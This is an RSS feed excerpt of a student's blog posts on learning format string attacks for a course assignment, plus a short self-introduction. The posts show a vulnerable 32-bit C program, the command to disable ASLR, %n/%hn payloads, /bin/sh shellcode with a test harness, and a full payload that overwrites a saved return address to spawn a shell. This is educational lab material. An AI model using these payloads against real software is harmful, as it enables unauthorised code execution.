&lt;p&gt;Few observations here:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The shellcode is at the start of the &lt;code&gt;buffer&lt;/code&gt;. This is because the starting address of the &lt;code&gt;buffer&lt;/code&gt; is relatively easier to obtain. Not everyday is a Saturday, so when you get the chance to be lazy, you take it. &lt;/li&gt;
&lt;li&gt;The &lt;code&gt;NOPs&lt;/code&gt; are there to align the stack. Imagine if we do not have the &lt;code&gt;NOPs&lt;/code&gt;, this will happen&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0zmamu3yehkstv0rmaw0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0zmamu3yehkstv0rmaw0.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We will not be able to obtain the full addresses. Setting the &lt;code&gt;NOP&lt;/code&gt; paddings assure us that our addresses will always be on the 17th and 18th position of the stack. (Take 1 position on the stack as 4 bytes, since we are working on 32 bits)&lt;/p&gt;
&lt;h2&gt;
  
  
  Finding the addresses
&lt;/h2&gt;

&lt;p&gt;I like to break my tasks down into smaller pieces. Let's break the format string into steps.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;64 &lt;code&gt;NOPs&lt;/code&gt; - They are placeholders for the shellcode
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;run $(python3 -c "import sys; sys.stdout.buffer.write(b'\x90'*64)") 

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F00ldpafgpqyxmyx3vw5u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F00ldpafgpqyxmyx3vw5u.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;64 &lt;code&gt;NOPs&lt;/code&gt; + the 2 placeholder addresses
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;run $(python3 -c "import sys; sys.stdout.buffer.write(b'\x90'*64 + b'\xff' * 4 + b'\xee' * 4)")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbzkjcpe7xv5qk12cz5b2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbzkjcpe7xv5qk12cz5b2.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The entire format string in placeholder values
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;run $(python3 -c "import sys; sys.stdout.buffer.write(b'\x90'*64 + b'\xff' * 4 + b'\xee' * 4 + b'%12356x%17\$x%12345x%18\$x')")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyfy05u25mz8tz3qqxzn6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyfy05u25mz8tz3qqxzn6.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F40zhsdeydf3e1ukfmeyb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F40zhsdeydf3e1ukfmeyb.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From here, we know that our shellcodes will start at 0xffffcdb4. We also know that the saved eip will be 0xffffcf4c. With these information:&lt;br&gt;
address1 = \x4c\xcf\xff\xff&lt;br&gt;
address2 = \x4e\xcf\xff\xff&lt;br&gt;
A = 0xcdb4 - 72 = 52588&lt;br&gt;
B = 0xffff - 0xcdb4 = 12875&lt;/p&gt;
&lt;h2&gt;
  
  
  The shellcode
&lt;/h2&gt;

&lt;p&gt;For the purpose of the exercise, we will use the following shellcode from this &lt;a href="https://inst.eecs.berkeley.edu/~cs161/fa08/papers/stack_smashing.pdf" rel="noopener noreferrer"&gt;article&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The next question is, how do we know if the shellcode works? We can test it with a simple C program.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// Filename: shellcode.c
// Compile:  gcc -m32 -z execstack -fno-stack-protector shellcode.c -o shellcode

#include&amp;lt;stdio.h&amp;gt;
#include&amp;lt;string.h&amp;gt;

void callShell() {
        const char code[] = \
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

        printf("Shellcode Length: %d\n", strlen(code));

        ((void(*)(void))code)();

}

void main()
{
        callShell();
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqadglf9b7dtlfo1l2l24.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqadglf9b7dtlfo1l2l24.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Nice, the length of the shellcode is 45, so we will just need 19 more &lt;code&gt;NOPs&lt;/code&gt; to pad it. Some of you may have noticed that I could have just pad 3 more &lt;code&gt;NOPs&lt;/code&gt;. But I like 64, so I go with 64. &lt;/p&gt;

&lt;p&gt;shellcode + NOPs = \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&lt;/p&gt;

&lt;p&gt;The full format string should be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\xff\xee\xee\xee\xee%12345x%17$x%12345x%18$x
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we will test it out:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fec35bnyl1kknd791ytwg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fec35bnyl1kknd791ytwg.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpilp2v3yd4ldg96tnrr0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpilp2v3yd4ldg96tnrr0.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;YES! A shell is opened. Mission accomplished? Not quite. There are more to the assignment, but it is beyond the scope of this write-up. &lt;/p&gt;

&lt;h2&gt;
  
  
  ...One more thing
&lt;/h2&gt;

&lt;p&gt;In essence, this should not be a difficult exercise for most seasoned CTF players. However, it is easy to get segmentation faults when working with format string attacks. It will be frustrating for beginners like me. I found that, the best thing to do is to break the tasks down into smaller pieces, and figure the smaller pieces individually. &lt;/p&gt;

&lt;p&gt;To quote Dr Andrew Wiles: I think I'll stop here.&lt;/p&gt;

</description>
      <category>formatstring</category>
      <category>exploit</category>
    </item>
    <item>
      <title>Journey to understand format string attack (Part 1)</title>
      <dc:creator>Alexander Lee</dc:creator>
      <pubDate>Fri, 04 Oct 2024 04:35:53 +0000</pubDate>
      <link>https://forem.com/duracellrabbid/journey-to-understand-format-string-attack-part-1-5dda</link>
      <guid>https://forem.com/duracellrabbid/journey-to-understand-format-string-attack-part-1-5dda</guid>
      <description>&lt;h2&gt;
  
  
  A brief background
&lt;/h2&gt;

&lt;p&gt;As I was a software developer, one of my focused interests in cybersecurity are software security. In my post-graduate studies, one of the earliest attacks on software memory bugs introduced to me was buffer overflow (of course) and format string attack. &lt;/p&gt;

&lt;p&gt;Buffer overflow is fairly easy to understand. It was format string attack that caused me to pull my hair. My understanding for format string was as horrible as my half-baked French! &lt;em&gt;Je ne comprends pas&lt;/em&gt;!!! Unfortunately, one of my recent assignments required me to use format string attack to open a shell. I was determined to do well for my assignments, so I decided to try and improve my understanding on format string attack. I learnt a lot in the process and I wanted to share my learning process here. Let's hope that this will benefit you if you have any issue with format string attack, particularly with your assignments. &lt;/p&gt;

&lt;p&gt;First of all, I do not want to go through the basic of format string attack again. This has been sufficiently explained in various papers and websites. But to get everyone started, these are the main references that I used in my learning (and recent assignment).&lt;/p&gt;

&lt;h2&gt;
  
  
  References:
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.exploit-db.com/docs/english/28476-linux-format-string-exploitation.pdf" rel="noopener noreferrer"&gt;Reference 1: Format String Exploitation-Tutorial by Saif El-Sherei&lt;br&gt;
&lt;/a&gt;&lt;br&gt;
I believed that this is one of the most referred materials online when it comes to format string attack. It is simple enough to understand.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://axcheron.github.io/exploit-101-format-strings/" rel="noopener noreferrer"&gt;Reference 2: Exploit 101 - Format Strings by Alexandre CHERON&lt;/a&gt;&lt;br&gt;
This article really helped me understand how to use &lt;code&gt;%n&lt;/code&gt; and &lt;code&gt;%hn&lt;/code&gt;, which were the main stumbling blocks in my understanding to format string attack. While the examples in reference 1 were more relevant to my assignments, it was this article that gave me the knowledge to understand what was going on. &lt;/p&gt;
&lt;h2&gt;
  
  
  The big deal?
&lt;/h2&gt;

&lt;p&gt;As I mentioned above, &lt;code&gt;%n&lt;/code&gt; and &lt;code&gt;%hn&lt;/code&gt; were confusing to me. I knew, in basic, how format string attacks work. Basically, the vulnerability happens when you forgot to put arguments for the format specifiers when using printf, snprintf, etc. Without the arguments, these functions will just be reading off the stack like nobody's business. A big no-no if you hold important information in the stack. Remember, local variables are held in the stack. So if even if you are just storing, say password, in a local variable temporarily, it can still be read by a format string attack.  &lt;/p&gt;

&lt;p&gt;Ok, let us start looking at the examples. Note that all my examples are performed on Kali Linux. (Note: I learn best with examples and following them)&lt;/p&gt;
&lt;h2&gt;
  
  
  The code
&lt;/h2&gt;

&lt;p&gt;So let's look at this code from my reference 2:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Code
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

int main(int argc, char *argv[])
{
    int target = 0xdeadc0de;
    char buffer[64];

    fgets(buffer, 64, stdin);
    printf(buffer);

    if(target == 0xcafebabe) {
       printf("Good job !\n");
       return EXIT_SUCCESS;
   } else {
      printf("Nope...\n");
      exit(EXIT_FAILURE);
   }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;First of all, let us disable &lt;a href="https://www.techtarget.com/searchsecurity/definition/address-space-layout-randomization-ASLR#:~:text=Address%20space%20layout%20randomization%20(ASLR)%20is%20a%20memory%2Dprotection,executables%20are%20loaded%20into%20memory." rel="noopener noreferrer"&gt;ASLR&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo su
echo 0 &amp;gt; /proc/sys/kernel/randomize_va_space
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I am also using &lt;a href="https://github.com/hugsy/gef" rel="noopener noreferrer"&gt;GEF&lt;/a&gt; as well. Pretty nifty tool for GDB, to be honest. Of course we have PEDA but what's the point of writing this if I am doing the same thing as Mr Cheron? In case if you wonder, I set my stack lines in GEF to 100 and set the stack to display downwards. This is more inline with what I was taught in class, where stack grows downward.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gef config context.nb_lines_stack 100
gef config context.grow_stack_down true
gef save
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The code is compiled using gcc:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gcc -z execstack -z norelro -fno-stack-protector -o format1 format1.c -m32 -g
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After setting breakpoint at main and step to line 13:&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh14942cvddbafv7i4wyi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh14942cvddbafv7i4wyi.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In my Kali machine, &lt;code&gt;target (0xdeadc0de)&lt;/code&gt; is located at &lt;code&gt;0xffffcfcc&lt;/code&gt;. Basically the exercise required me to write that value to &lt;code&gt;0xcafebabe&lt;/code&gt;. &lt;/p&gt;
&lt;h2&gt;
  
  
  The Stack (in my own words)
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg6lyt89shai7im836dus.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg6lyt89shai7im836dus.png" alt="Image description"&gt;&lt;/a&gt;&lt;br&gt;
For most systems (at least I know Linux does), the stack grows downwards. When we initialise a local variable, it will store the variable in the next lower address. For example, if &lt;code&gt;target&lt;/code&gt;is stored in &lt;code&gt;0xffff0048&lt;/code&gt;, then &lt;code&gt;buffer&lt;/code&gt;will be &lt;code&gt;0xffff0048&lt;/code&gt; - 0x40 = &lt;code&gt;0xffff0008&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;In my screenshots, we know that &lt;code&gt;target&lt;/code&gt;is located at &lt;code&gt;0xffffcfcc&lt;/code&gt;. Since &lt;code&gt;buffer&lt;/code&gt;is 64 bytes (0x40), it should resides in &lt;code&gt;0xffffcf8c&lt;/code&gt;. This is probably not significant here, but it is good to know and helps me understand the stack better.&lt;/p&gt;
&lt;h2&gt;
  
  
  %n and its siblings
&lt;/h2&gt;

&lt;p&gt;After reading much references and articles, I finally understood what &lt;code&gt;%n&lt;/code&gt; does:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp6ir9j3nhgp2zvvtzph6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp6ir9j3nhgp2zvvtzph6.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Similarly to &lt;code&gt;%x&lt;/code&gt;, &lt;code&gt;%s&lt;/code&gt; or &lt;code&gt;%p&lt;/code&gt;, when there is a &lt;code&gt;%n&lt;/code&gt;, it will write &lt;em&gt;n&lt;/em&gt; bytes to the argument corresponding to its position. In the illustration above, it will write &lt;em&gt;x&lt;/em&gt; into &lt;em&gt;i&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;So what if we have multiple &lt;code&gt;%n&lt;/code&gt;? The illustration below should tell the story better, based on the explanation above.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkfkj16lvrwg8ysch9sa1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkfkj16lvrwg8ysch9sa1.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But what if we do not specify the arguments? The behaviour will still be same as &lt;code&gt;%x&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4xk2iwyt0o5tlgt68lki.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4xk2iwyt0o5tlgt68lki.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;One issue is &lt;code&gt;%n&lt;/code&gt; writes 4 bytes to the address. Which means if I want to write 0xcafebabe into target, I will need to write a lot of bytes in &lt;code&gt;printf&lt;/code&gt;in order for me to write it into &lt;code&gt;target&lt;/code&gt;. Instead of &lt;code&gt;%n&lt;/code&gt;, we can use &lt;code&gt;%hn&lt;/code&gt; and &lt;code&gt;%hhn&lt;/code&gt; which write 2 bytes and 1 byte respectively. If I were to use &lt;code&gt;%hn&lt;/code&gt;, I will need to specify 2 addresses instead of 1. &lt;/p&gt;

&lt;p&gt;Translating it to my example, it will be &lt;code&gt;cfcc&lt;/code&gt; and &lt;code&gt;cfce&lt;/code&gt;. &lt;/p&gt;
&lt;h2&gt;
  
  
  The format string
&lt;/h2&gt;

&lt;p&gt;So my final format string will be something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;address1&amp;gt;&amp;lt;address1 + 2bytes&amp;gt;&amp;lt;X bytes to make it to 0xbabe&amp;gt;%7$n&amp;lt;Y bytes to make it to 0xcafe&amp;gt;%8$n
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;address1 = \xcc\xcf\xff\xff&lt;br&gt;
address2 = \xcce\xcf\xff\xff&lt;br&gt;
X = 0xbabe - 8 = 47798&lt;br&gt;
Y = 0xcafe - 0xbabe = 4160&lt;/p&gt;

&lt;p&gt;Full format string will be&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"\xcc\xcf\xff\xff\xcce\xcf\xff\xff%47798x%7$n%4160x%8$n"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note: address1 and address2 will be different depending on your setup. &lt;/p&gt;

&lt;h2&gt;
  
  
  Final thoughts
&lt;/h2&gt;

&lt;p&gt;This is my first tech blog since over 15 years. I am glad that I am able to write something out first. Obviously this is not finished as I will go in depth on what I was asked to do for my assignment. The above served as my "weapons" to handle the upcoming task. &lt;/p&gt;

&lt;p&gt;Thank you for being a good audience for reaching this point. Do feel free to leave your comments. _Au revoir~ A bientot!&lt;br&gt;
_&lt;/p&gt;

</description>
      <category>formatstring</category>
      <category>exploit</category>
      <category>softwarevulnerability</category>
    </item>
    <item>
      <title>Who am I?</title>
      <dc:creator>Alexander Lee</dc:creator>
      <pubDate>Mon, 30 Sep 2024 15:36:48 +0000</pubDate>
      <link>https://forem.com/duracellrabbid/who-am-i-4eec</link>
      <guid>https://forem.com/duracellrabbid/who-am-i-4eec</guid>
      <description>&lt;p&gt;Bonjour! &lt;br&gt;
It has been a while since I write about my tech escapades. I am a man with few words, so please allow me to do a one-paragraph introduction here.&lt;/p&gt;

&lt;p&gt;My name is Alexander Lee from Singapore. I had a diverse experience in the IT industry in general. In my early years, I was into game development and mostly dealt with the coding and tech stuffs. Eventually I got burned out by the ruthless crunches and decided to leave the game development industry for physical security industry. (This is another story for another day.) After 7 years in the physically security industry, I returned to my roots in software and decided to pursue a new professional interest in Cybersecurity. Currently I am also taking my post-graduate Master degree.&lt;/p&gt;

&lt;p&gt;There you go. Hope to connect with you guys. Au revoir~&lt;/p&gt;

</description>
      <category>introduction</category>
    </item>
  </channel>
</rss>
